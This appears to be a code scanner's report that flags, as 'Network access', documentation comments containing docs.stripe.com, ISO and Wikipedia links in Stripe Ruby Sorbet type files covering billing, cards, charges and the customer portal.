    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/billing/credit_grant.rbi

  • Network accessline 7
    # A credit grant is an API resource that documents the allocation of some billing credits to a customer.     #     # Related guide: [Billing credits](https://docs.stripe.com/billing/subscriptions/usage-based/billing-credits)
  • Network accessline 8
    #     # Related guide: [Billing credits](https://docs.stripe.com/billing/subscriptions/usage-based/billing-credits)     class CreditGrant < APIResource
  • Network accessline 9
    # Related guide: [Billing credits](https://docs.stripe.com/billing/subscriptions/usage-based/billing-credits)
  • Network accessline 11
    class Amount < ::Stripe::StripeObject         class Monetary < ::Stripe::StripeObject           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://strip
  • Network accessline 12
    class Monetary < ::Stripe::StripeObject           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).           sig { return
  • Network accessline 13
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 50
    end           end           # The price type that credit grants can apply to. We currently only support the `metered` price type. This refers to prices that have a [Billing Meter](https://docs.stripe.com/api/billing/meter) attached to them.
  • Network accessline 51
    end           # The price type that credit grants can apply to. We currently only support the `metered` price type. This refers to prices that have a [Billing Meter](https://docs.stripe.com/api/billing/meter) attached to them. Cannot be use
  • Network accessline 52
    # The price type that credit grants can apply to. We currently only support the `metered` price type. This refers to prices that have a [Billing Meter](https://docs.stripe.com/api/billing/meter) attached to them. Cannot be used in combinati
  • Network accessline 53
    sig { returns(T.nilable(String)) }           def price_type; end           # The prices that credit grants can apply to. We currently only support `metered` prices. This refers to prices that have a [Billing Meter](https://docs.stripe.com/a
  • Network accessline 54
    def price_type; end           # The prices that credit grants can apply to. We currently only support `metered` prices. This refers to prices that have a [Billing Meter](https://docs.stripe.com/api/billing/meter) attached to them. Cannot be
  • Network accessline 55
    # The prices that credit grants can apply to. We currently only support `metered` prices. This refers to prices that have a [Billing Meter](https://docs.stripe.com/api/billing/meter) attached to them. Cannot be used in combination with `pri
  • Network accessline 103
    sig { returns(T::Boolean) }       def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu
  • Network accessline 104
    def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.       sig { returns(T:
  • Network accessline 105
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/billing/meter.rbi

  • Network accessline 7
    # Meters specify how to aggregate meter events over a billing period. Meter events represent the actions that customers take in your system. Meters attach to prices and form the basis of the bill.     #     # Related guide: [Usage based bil
  • Network accessline 8
    #     # Related guide: [Usage based billing](https://docs.stripe.com/billing/subscriptions/usage-based)     class Meter < APIResource
  • Network accessline 9
    # Related guide: [Usage based billing](https://docs.stripe.com/billing/subscriptions/usage-based)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/billing/meter_event.rbi

  • Network accessline 22
    sig { returns(String) }       def object; end       # The payload of the event. This contains the fields corresponding to a meter's `customer_mapping.event_payload_key` (default is `stripe_customer_id`) and `value_settings.event_payload_key
  • Network accessline 23
    def object; end       # The payload of the event. This contains the fields corresponding to a meter's `customer_mapping.event_payload_key` (default is `stripe_customer_id`) and `value_settings.event_payload_key` (default is `value`). Read m
  • Network accessline 24
    # The payload of the event. This contains the fields corresponding to a meter's `customer_mapping.event_payload_key` (default is `stripe_customer_id`) and `value_settings.event_payload_key` (default is `value`). Read more about the [payload

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/billing_portal/configuration.rbi

  • Network accessline 5
    module Stripe   module BillingPortal     # A portal configuration describes the functionality and behavior you embed in a portal session. Related guide: [Configure the customer portal](https://docs.stripe.com/customer-management/configure-p
  • Network accessline 6
    module BillingPortal     # A portal configuration describes the functionality and behavior you embed in a portal session. Related guide: [Configure the customer portal](https://docs.stripe.com/customer-management/configure-portal).     clas
  • Network accessline 7
    # A portal configuration describes the functionality and behavior you embed in a portal session. Related guide: [Configure the customer portal](https://docs.stripe.com/customer-management/configure-portal).
  • Network accessline 155
    end           end           # Determines the value to use for the billing cycle anchor on subscription updates. Valid values are `now` or `unchanged`, and the default value is `unchanged`. Setting the value to `now` resets the subscription'
  • Network accessline 156
    end           # Determines the value to use for the billing cycle anchor on subscription updates. Valid values are `now` or `unchanged`, and the default value is `unchanged`. Setting the value to `now` resets the subscription's billing cycl
  • Network accessline 157
    # Determines the value to use for the billing cycle anchor on subscription updates. Valid values are `now` or `unchanged`, and the default value is `unchanged`. Setting the value to `now` resets the subscription's billing cycle anchor to th
  • Network accessline 217
    sig { returns(T::Boolean) }         def enabled; end         # A shareable URL to the hosted portal login page. Your customers will be able to log in with their [email](https://docs.stripe.com/api/customers/object#customer_object-email) and
  • Network accessline 218
    def enabled; end         # A shareable URL to the hosted portal login page. Your customers will be able to log in with their [email](https://docs.stripe.com/api/customers/object#customer_object-email) and receive a link to their customer po
  • Network accessline 219
    # A shareable URL to the hosted portal login page. Your customers will be able to log in with their [email](https://docs.stripe.com/api/customers/object#customer_object-email) and receive a link to their customer portal.
  • Network accessline 239
    sig { returns(Integer) }       def created; end       # The default URL to redirect customers to when they click on the portal's link to return to your website. This can be [overriden](https://docs.stripe.com/api/customer_portal/sessions/cr
  • Network accessline 240
    def created; end       # The default URL to redirect customers to when they click on the portal's link to return to your website. This can be [overriden](https://docs.stripe.com/api/customer_portal/sessions/create#create_portal_session-retu
  • Network accessline 241
    # The default URL to redirect customers to when they click on the portal's link to return to your website. This can be [overriden](https://docs.stripe.com/api/customer_portal/sessions/create#create_portal_session-return_url) when creating t
  • Network accessline 257
    sig { returns(LoginPage) }       def login_page; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a struct
  • Network accessline 258
    def login_page; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.       sig { returns(
  • Network accessline 259
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/billing_portal/session.rbi

  • Network accessline 18
    # and billing details.     #     # Related guide: [Customer management](https://docs.stripe.com/customer-management)
  • Network accessline 19
    #     # Related guide: [Customer management](https://docs.stripe.com/customer-management)     class Session < APIResource
  • Network accessline 20
    # Related guide: [Customer management](https://docs.stripe.com/customer-management)
  • Network accessline 126
    end           class Item < ::Stripe::StripeObject             # The ID of the [subscription item](https://docs.stripe.com/api/subscriptions/object#subscription_object-items-data-id) to be updated.
  • Network accessline 127
    class Item < ::Stripe::StripeObject             # The ID of the [subscription item](https://docs.stripe.com/api/subscriptions/object#subscription_object-items-data-id) to be updated.             sig { returns(T.nilable(String)) }
  • Network accessline 128
    # The ID of the [subscription item](https://docs.stripe.com/api/subscriptions/object#subscription_object-items-data-id) to be updated.
  • Network accessline 129
    sig { returns(T.nilable(String)) }             def id; end             # The price the customer should subscribe to through this flow. The price must also be included in the configuration's [`features.subscription_update.products`](https://
  • Network accessline 130
    def id; end             # The price the customer should subscribe to through this flow. The price must also be included in the configuration's [`features.subscription_update.products`](https://docs.stripe.com/api/customer_portal/configurati
  • Network accessline 131
    # The price the customer should subscribe to through this flow. The price must also be included in the configuration's [`features.subscription_update.products`](https://docs.stripe.com/api/customer_portal/configuration#portal_configuration_
  • Network accessline 132
    sig { returns(T.nilable(String)) }             def price; end             # [Quantity](https://docs.stripe.com/subscriptions/quantities) for this item that the customer should subscribe to through this flow.
  • Network accessline 133
    def price; end             # [Quantity](https://docs.stripe.com/subscriptions/quantities) for this item that the customer should subscribe to through this flow.             sig { returns(T.nilable(Integer)) }
  • Network accessline 134
    # [Quantity](https://docs.stripe.com/subscriptions/quantities) for this item that the customer should subscribe to through this flow.
  • Network accessline 145
    sig { returns(T.nilable(T::Array[Discount])) }           def discounts; end           # The [subscription item](https://docs.stripe.com/api/subscription_items) to be updated through this flow. Currently, only up to one may be specified and 
  • Network accessline 146
    def discounts; end           # The [subscription item](https://docs.stripe.com/api/subscription_items) to be updated through this flow. Currently, only up to one may be specified and subscriptions with multiple items are not updatable.     
  • Network accessline 147
    # The [subscription item](https://docs.stripe.com/api/subscription_items) to be updated through this flow. Currently, only up to one may be specified and subscriptions with multiple items are not updatable.
  • Network accessline 197
    sig { returns(T.nilable(String)) }       def customer_account; end       # Information about a specific flow for the customer to go through. See the [docs](https://docs.stripe.com/customer-management/portal-deep-links) to learn more about u
  • Network accessline 198
    def customer_account; end       # Information about a specific flow for the customer to go through. See the [docs](https://docs.stripe.com/customer-management/portal-deep-links) to learn more about using customer portal deep links and flows
  • Network accessline 199
    # Information about a specific flow for the customer to go through. See the [docs](https://docs.stripe.com/customer-management/portal-deep-links) to learn more about using customer portal deep links and flows.
  • Network accessline 212
    sig { returns(String) }       def object; end       # The account for which the session was created on behalf of. When specified, only subscriptions and invoices with this `on_behalf_of` account appear in the portal. For more information, s
  • Network accessline 213
    def object; end       # The account for which the session was created on behalf of. When specified, only subscriptions and invoices with this `on_behalf_of` account appear in the portal. For more information, see the [docs](https://docs.str
  • Network accessline 214
    # The account for which the session was created on behalf of. When specified, only subscriptions and invoices with this `on_behalf_of` account appear in the portal. For more information, see the [docs](https://docs.stripe.com/connect/separa

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/capability.rbi

  • Network accessline 6
    # This is an object representing a capability for a Stripe account.   #   # Related guide: [Account capabilities](https://docs.stripe.com/connect/account-capabilities)
  • Network accessline 7
    #   # Related guide: [Account capabilities](https://docs.stripe.com/connect/account-capabilities)   class Capability < APIResource
  • Network accessline 8
    # Related guide: [Account capabilities](https://docs.stripe.com/connect/account-capabilities)
  • Network accessline 112
    sig { returns(T::Array[String]) }       def currently_due; end       # Description of why the capability is disabled. [Learn more about handling verification issues](https://docs.stripe.com/connect/handling-api-verification).
  • Network accessline 113
    def currently_due; end       # Description of why the capability is disabled. [Learn more about handling verification issues](https://docs.stripe.com/connect/handling-api-verification).       sig { returns(T.nilable(String)) }
  • Network accessline 114
    # Description of why the capability is disabled. [Learn more about handling verification issues](https://docs.stripe.com/connect/handling-api-verification).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/card.rbi

  • Network accessline 8
    # transfer to those cards later.   #   # Related guide: [Card payments with Sources](https://docs.stripe.com/sources/cards)
  • Network accessline 9
    #   # Related guide: [Card payments with Sources](https://docs.stripe.com/sources/cards)   class Card < APIResource
  • Network accessline 10
    # Related guide: [Card payments with Sources](https://docs.stripe.com/sources/cards)
  • Network accessline 60
    sig { returns(T.nilable(String)) }     def country; end     # Three-letter [ISO code for currency](https://www.iso.org/iso-4217-currency-codes.html) in lowercase. Must be a [supported currency](https://docs.stripe.com/currencies). Only appl
  • Network accessline 61
    def country; end     # Three-letter [ISO code for currency](https://www.iso.org/iso-4217-currency-codes.html) in lowercase. Must be a [supported currency](https://docs.stripe.com/currencies). Only applicable on accounts (not customers or re
  • Network accessline 62
    # Three-letter [ISO code for currency](https://www.iso.org/iso-4217-currency-codes.html) in lowercase. Must be a [supported currency](https://docs.stripe.com/currencies). Only applicable on accounts (not customers or recipients). The card c
  • Network accessline 66
    sig { returns(T.nilable(T.any(String, ::Stripe::Customer))) }     def customer; end     # If a CVC was provided, results of the check: `pass`, `fail`, `unavailable`, or `unchecked`. A result of unchecked indicates that CVC was provided but 
  • Network accessline 67
    def customer; end     # If a CVC was provided, results of the check: `pass`, `fail`, `unavailable`, or `unchecked`. A result of unchecked indicates that CVC was provided but hasn't been checked yet. Checks are typically performed when attac
  • Network accessline 68
    # If a CVC was provided, results of the check: `pass`, `fail`, `unavailable`, or `unchecked`. A result of unchecked indicates that CVC was provided but hasn't been checked yet. Checks are typically performed when attaching a card to a Custo
  • Network accessline 104
    sig { returns(String) }     def last4; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 105
    def last4; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T.nilable
  • Network accessline 106
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 119
    sig { returns(T.nilable(String)) }     def regulated_status; end     # For external accounts that are cards, possible values are `new` and `errored`. If a payout fails, the status is set to `errored` and [scheduled payouts](https://stripe.c
  • Network accessline 120
    def regulated_status; end     # For external accounts that are cards, possible values are `new` and `errored`. If a payout fails, the status is set to `errored` and [scheduled payouts](https://stripe.com/docs/payouts#payout-schedule) are st
  • Network accessline 121
    # For external accounts that are cards, possible values are `new` and `errored`. If a payout fails, the status is set to `errored` and [scheduled payouts](https://stripe.com/docs/payouts#payout-schedule) are stopped until account details ar

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/cash_balance.rbi

  • Network accessline 20
    end     end     # A hash of all cash balances available to this customer. You cannot delete a customer with any cash balances, even if the balance is 0. Amounts are represented in the [smallest currency unit](https://docs.stripe.com/currenc
  • Network accessline 21
    end     # A hash of all cash balances available to this customer. You cannot delete a customer with any cash balances, even if the balance is 0. Amounts are represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero
  • Network accessline 22
    # A hash of all cash balances available to this customer. You cannot delete a customer with any cash balances, even if the balance is 0. Amounts are represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/charge.rbi

  • Network accessline 5
    module Stripe   # The `Charge` object represents a single attempt to move money into your Stripe account.   # PaymentIntent confirmation is the most common way to create Charges, but [Account Debits](https://docs.stripe.com/connect/account-
  • Network accessline 6
    # The `Charge` object represents a single attempt to move money into your Stripe account.   # PaymentIntent confirmation is the most common way to create Charges, but [Account Debits](https://docs.stripe.com/connect/account-debits) may also
  • Network accessline 7
    # PaymentIntent confirmation is the most common way to create Charges, but [Account Debits](https://docs.stripe.com/connect/account-debits) may also create Charges.
  • Network accessline 13
    sig { returns(T.nilable(String)) }         def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 14
    def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 15
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 25
    sig { returns(T.nilable(String)) }         def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 26
    def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 27
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 141
    end       end       # An enumerated value providing a more detailed explanation on [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines).
  • Network accessline 142
    end       # An enumerated value providing a more detailed explanation on [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines).       sig { returns(T.nilable(String)) }
  • Network accessline 143
    # An enumerated value providing a more detailed explanation on [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines).
  • Network accessline 150
    sig { returns(T.nilable(String)) }       def network_decline_code; end       # Possible values are `approved_by_network`, `declined_by_network`, `not_sent_to_network`, and `reversed_after_approval`. The value `reversed_after_approval` indic
  • Network accessline 151
    def network_decline_code; end       # Possible values are `approved_by_network`, `declined_by_network`, `not_sent_to_network`, and `reversed_after_approval`. The value `reversed_after_approval` indicates the payment was [blocked by Stripe](
  • Network accessline 152
    # Possible values are `approved_by_network`, `declined_by_network`, `not_sent_to_network`, and `reversed_after_approval`. The value `reversed_after_approval` indicates the payment was [blocked by Stripe](https://docs.stripe.com/declines#blo
  • Network accessline 153
    sig { returns(T.nilable(String)) }       def network_status; end       # An enumerated value providing a more detailed explanation of the outcome's `type`. Charges blocked by Radar's default block rule have the value `highest_risk_level`. C
  • Network accessline 154
    def network_status; end       # An enumerated value providing a more detailed explanation of the outcome's `type`. Charges blocked by Radar's default block rule have the value `highest_risk_level`. Charges placed in review by Radar's defaul
  • Network accessline 155
    # An enumerated value providing a more detailed explanation of the outcome's `type`. Charges blocked by Radar's default block rule have the value `highest_risk_level`. Charges placed in review by Radar's default review rule have the value `
  • Network accessline 168
    sig { returns(T.nilable(String)) }       def seller_message; end       # Possible values are `authorized`, `manual_review`, `issuer_declined`, `blocked`, and `invalid`. See [understanding declines](https://docs.stripe.com/declines) and [Rad
  • Network accessline 169
    def seller_message; end       # Possible values are `authorized`, `manual_review`, `issuer_declined`, `blocked`, and `invalid`. See [understanding declines](https://docs.stripe.com/declines) and [Radar reviews](https://docs.stripe.com/radar
  • Network accessline 170
    # Possible values are `authorized`, `manual_review`, `issuer_declined`, `blocked`, and `invalid`. See [understanding declines](https://docs.stripe.com/declines) and [Radar reviews](https://docs.stripe.com/radar/reviews) for details.
  • Network accessline 255
    end       class Affirm < ::Stripe::StripeObject         # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.
  • Network accessline 256
    class Affirm < ::Stripe::StripeObject         # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.         sig { returns(T.nilable(String)) }
  • Network accessline 257
    # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.
  • Network accessline 258
    sig { returns(T.nilable(String)) }         def location; end         # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.
  • Network accessline 259
    def location; end         # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.         sig { returns(T.nilable(String)) }
  • Network accessline 260
    # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.
  • Network accessline 674
    sig { returns(T.nilable(String)) }               def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 675
    def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 676
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 686
    sig { returns(T.nilable(String)) }               def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 687
    def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 688
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 700
    sig { returns(T.nilable(String)) }               def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 701
    def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 702
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 712
    sig { returns(T.nilable(String)) }               def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 713
    def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 714
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 757
    sig { returns(T.nilable(String)) }               def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 758
    def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 759
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 769
    sig { returns(T.nilable(String)) }               def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 770
    def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 771
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 783
    sig { returns(T.nilable(String)) }               def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 784
    def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 785
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 795
    sig { returns(T.nilable(String)) }               def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 796
    def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 797
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 915
    # Installment details for this payment.         #         # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).
  • Network accessline 916
    #         # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).         sig { returns(T.nilable(Installments)) }
  • Network accessline 917
    # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).
  • Network accessline 1038
    sig { returns(T.nilable(String)) }         def brand; end         # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card.
  • Network accessline 1039
    def brand; end         # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card.         sig { returns(T.nilable(String)) }
  • Network accessline 1040
    # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card.
  • Network accessline 1044
    sig { returns(T.nilable(Integer)) }         def capture_before; end         # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characte
  • Network accessline 1045
    def capture_before; end         # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In s
  • Network accessline 1046
    # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m
  • Network accessline 1076
    sig { returns(T.nilable(String)) }         def iin; end         # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization
  • Network accessline 1077
    def iin; end         # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api/payme
  • Network accessline 1078
    # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api/payment_intents/create#cre
  • Network accessline 1296
    sig { returns(T.nilable(String)) }         def brand; end         # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and fir
  • Network accessline 1297
    def brand; end         # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases
  • Network accessline 1298
    # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m
  • Network accessline 1617
    end       class Paynow < ::Stripe::StripeObject         # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.
  • Network accessline 1618
    class Paynow < ::Stripe::StripeObject         # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.         sig { returns(T.nilable(String)) }
  • Network accessline 1619
    # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.
  • Network accessline 1620
    sig { returns(T.nilable(String)) }         def location; end         # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.
  • Network accessline 1621
    def location; end         # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.         sig { returns(T.nilable(String)) }
  • Network accessline 1622
    # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.
  • Network accessline 1832
    sig { returns(T.nilable(String)) }         def last4; end         # Find the ID of the mandate used for this payment under the [payment_method_details.sepa_debit.mandate](https://docs.stripe.com/api/charges/object#charge_object-payment_meth
  • Network accessline 1833
    def last4; end         # Find the ID of the mandate used for this payment under the [payment_method_details.sepa_debit.mandate](https://docs.stripe.com/api/charges/object#charge_object-payment_method_details-sepa_debit-mandate) property on 
  • Network accessline 1834
    # Find the ID of the mandate used for this payment under the [payment_method_details.sepa_debit.mandate](https://docs.stripe.com/api/charges/object#charge_object-payment_method_details-sepa_debit-mandate) property on the Charge. Use this ma
  • Network accessline 1959
    sig { returns(T.nilable(String)) }         def fingerprint; end         # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.
  • Network accessline 1960
    def fingerprint; end         # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.         sig { returns(T.nilable(String)) }
  • Network accessline 1961
    # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.
  • Network accessline 1962
    sig { returns(T.nilable(String)) }         def location; end         # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.
  • Network accessline 1963
    def location; end         # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.         sig { returns(T.nilable(String)) }
  • Network accessline 1964
    # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.
  • Network accessline 2142
    sig { returns(T.nilable(Twint)) }       def twint; end       # The type of transaction-specific details of the payment method used in the payment. See [PaymentMethod.type](https://docs.stripe.com/api/payment_methods/object#payment_method_ob
  • Network accessline 2143
    def twint; end       # The type of transaction-specific details of the payment method used in the payment. See [PaymentMethod.type](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type) for the full list of possible
  • Network accessline 2144
    # The type of transaction-specific details of the payment method used in the payment. See [PaymentMethod.type](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type) for the full list of possible types.
  • Network accessline 2239
    end     class RadarOptions < ::Stripe::StripeObject       # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payme
  • Network accessline 2240
    class RadarOptions < ::Stripe::StripeObject       # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.    
  • Network accessline 2241
    # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.
  • Network accessline 2254
    sig { returns(T.nilable(String)) }         def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2255
    def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 2256
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2266
    sig { returns(T.nilable(String)) }         def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 2267
    def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 2268
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 2312
    end     end     # Amount intended to be collected by this payment. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 t
  • Network accessline 2313
    end     # Amount intended to be collected by this payment. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to charge
  • Network accessline 2314
